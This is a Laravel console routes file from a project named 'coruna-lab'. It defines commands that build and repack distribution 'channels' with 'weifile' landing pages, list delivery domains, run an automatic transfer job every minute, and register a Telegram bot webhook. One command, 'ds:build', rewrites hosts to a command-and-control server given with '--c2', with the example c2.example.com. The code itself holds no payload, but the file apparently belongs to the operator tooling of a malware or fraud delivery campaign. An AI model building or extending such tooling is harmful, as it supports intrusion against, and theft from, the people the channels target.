Files
coruna-lab/routes/console.php
T
2026-08-30 04:59:57 +08:00

185 lines
6.1 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
use App\Services\ChannelProjectService;
use Illuminate\Foundation\Inspiring;
use Illuminate\Support\Facades\Artisan;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Schedule;
Schedule::command('coruna:auto-transfer')
->everyMinute()
->withoutOverlapping()
->runInBackground();
Artisan::command('inspire', function () {
$this->comment(Inspiring::quote());
})->purpose('Display an inspiring quote');
Artisan::command('telegram:set-webhook {url?}', function (?string $url = null) {
$token = (string) config('nutgram.token', '');
if ($token === '') {
$this->error('TELEGRAM_BOT_TOKEN is empty');
return 1;
}
$url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/telegram';
$secret = (string) config('coruna.telegram.webhook_secret', '');
$payload = [
'url' => $url,
'allowed_updates' => ['message', 'callback_query', 'my_chat_member'],
];
if ($secret !== '') {
$payload['secret_token'] = $secret;
}
$this->info('Setting Telegram webhook URL: '.$url);
$resp = Http::timeout(20)
->asJson()
->post("https://api.telegram.org/bot{$token}/setWebhook", $payload);
if ($resp->successful() && ($resp->json('ok') === true)) {
$this->info('OK');
return 0;
}
$this->error('Failed: '.$resp->body());
return 1;
})->purpose('Register the site Telegram webhook');
Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
$channelC = trim((string) $this->option('channel-c'));
$random = (bool) $this->option('random-c');
try {
$result = app(ChannelProjectService::class)->buildSharedArtifacts(
$channelC !== '' ? $channelC : null,
$random,
);
} catch (Throwable $e) {
$this->error($e->getMessage());
return 1;
}
$c = (string) data_get($result, 'seeds.channel_c', '');
$this->info('XXBB_CHANNEL_C='.$c);
$this->info('details -> /details/');
$staged = (string) ($result['staged_weifile'] ?? '');
if ($staged !== '') {
$this->info('staged weifile -> '.$staged);
}
$this->line('domains:');
$domains = array_values((array) data_get($result, 'domains.deployment', []));
if ($domains === []) {
$this->warn('(empty)');
}
foreach ($domains as $i => $domain) {
$this->line(sprintf(' %03d %s', $i + 1, $domain));
}
$configured = strtolower(trim((string) config('coruna.xxbb.channel_c', '')));
if ($c !== '' && $configured !== $c) {
$this->warn('把上面的 XXBB_CHANNEL_C 写入 .env;新建渠道会始终用 env 中的 c 构建。');
}
return 0;
})->purpose('Build shared xxbb /details and staged weifile from channel c');
Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-run}', function () {
$ids = array_values(array_filter(array_map('strval', (array) $this->argument('ids'))));
$template = trim((string) $this->option('template'));
$skipShared = (bool) $this->option('skip-shared');
$dryRun = (bool) $this->option('dry-run');
$projects = app(ChannelProjectService::class);
try {
$resolved = $projects->resolveNewChannelIds($ids === [] ? null : $ids);
} catch (Throwable $e) {
$this->error($e->getMessage());
return 1;
}
if ($resolved === []) {
$this->warn('没有可重打的新版渠道(builder_type=new)');
return 0;
}
$this->info(($dryRun ? '将重打' : '重打').' '.count($resolved).' 个新版渠道(渠道 ID / 投放域名不变):');
foreach ($resolved as $id) {
$this->line(' /channel/'.$id);
}
if ($dryRun) {
return 0;
}
try {
$result = $projects->rebuildNewChannels(
$resolved,
$template !== '' ? $template : ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE,
! $skipShared,
);
} catch (Throwable $e) {
$this->error($e->getMessage());
return 1;
}
if (! $skipShared) {
$c = (string) data_get($result, 'shared.seeds.channel_c', config('coruna.xxbb.channel_c', ''));
$this->info('shared XXBB_CHANNEL_C='.$c);
$this->info('details -> /details/');
}
foreach ($result['channels'] as $row) {
$id = (string) ($row['channel_id'] ?? '');
$landing = (string) ($row['support_path'] ?? '/channel/'.$id.'/weifile/weifile.html');
$this->info('packed '.$id.' -> '.$landing);
}
return 0;
})->purpose('Repack existing new-builder channels with latest weifile / details / plugins');
Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () {
$script = base_path('channel-builder-ds/tools/build.py');
if (! is_file($script)) {
$this->error('missing '.$script);
return 1;
}
$c2 = trim((string) $this->option('c2'));
$origin = $c2 !== '' ? $c2 : trim((string) $this->option('origin'));
$delivery = trim((string) $this->option('delivery'));
if ($origin === '') {
$origin = rtrim((string) config('app.url'), '/');
$this->warn('未传 --c2/--origin,使用 APP_URL: '.$origin);
$this->warn('线上必须显式指定 C2,例如: php artisan ds:build --c2 https://c2.example.com');
}
$args = ['python3', $script, '--c2', $origin];
if ($delivery !== '') {
$args[] = '--delivery';
$args[] = $delivery;
}
$this->info(implode(' ', $args));
passthru(implode(' ', array_map('escapeshellarg', $args)), $code);
return $code;
})->purpose('Rewrite one99 hosts to --c2 and publish source/ to public/next-chain');
Artisan::command('coruna:channel-domains {--json}', function () {
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
if ($this->option('json')) {
$this->line(json_encode($domains, JSON_UNESCAPED_UNICODE));
return 0;
}
if ($domains === []) {
$this->warn('(empty)');
return 0;
}
foreach ($domains as $d) {
$this->line($d);
}
return 0;
})->purpose('Print configured channel delivery domains (settings / env)');